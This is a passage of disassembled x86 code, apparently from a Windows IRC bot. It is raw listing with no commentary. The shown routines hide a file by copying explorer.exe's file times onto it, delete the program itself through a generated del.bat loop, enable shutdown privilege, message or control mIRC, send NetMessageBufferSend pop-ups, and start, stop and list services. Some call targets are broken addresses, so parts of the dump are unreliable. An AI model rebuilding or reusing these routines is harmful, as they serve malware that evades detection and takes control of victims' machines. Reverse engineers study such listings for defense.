byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; ___:00415EEBp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 269086Bh nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2800000h nop lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 mov esi, eax test esi, esi jz short loc_41875A push edi push esi nop call near ptr 281061Bh push esi mov edi, eax nop call near ptr 2810000h call dword_4CBA28 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2820000h push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 2810E14h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 push esi push 1 push 4C9h push ebp call dword_4CBA30 push ebx nop call near ptr 2810B24h push edi call near ptr 2670770h nop push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2830000h push ebx mov ebx, dword_427070 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 28206BCh push esi call ebx loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; ___:00416C12p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26B0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 2730000h nop mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2720000h nop push edi nop call near ptr 2670770h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 26A0000h nop push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax call near ptr 2690E7Eh nop cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2690D47h loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2840000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 26709E4h loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26F0000h nop cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 push edi push eax call dword_4CB964 test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_4394FC loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j nop call near ptr 269086Bh push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394A4 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26F0000h nop cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call near ptr 26B0AD3h nop mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26C0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27C0000h mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26A07AFh push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset unk_439630 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA40 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA40 push off_439518[eax*4] push offset unk_4395E0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 mov edi, eax cmp edi, ebx jnz short loc_418CAF nop call near ptr 269086Bh mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 mov esi, eax cmp esi, ebx jnz short loc_418CCF nop call near ptr 269086Bh mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 nop call near ptr 269086Bh mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: ___:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB380 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB380 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 test eax, eax jnz short loc_418F1A nop call near ptr 269086Bh cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_439518[eax*4] push offset unk_439BC4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_43951C[eax*4] push offset dword_439BA8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439B84 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test 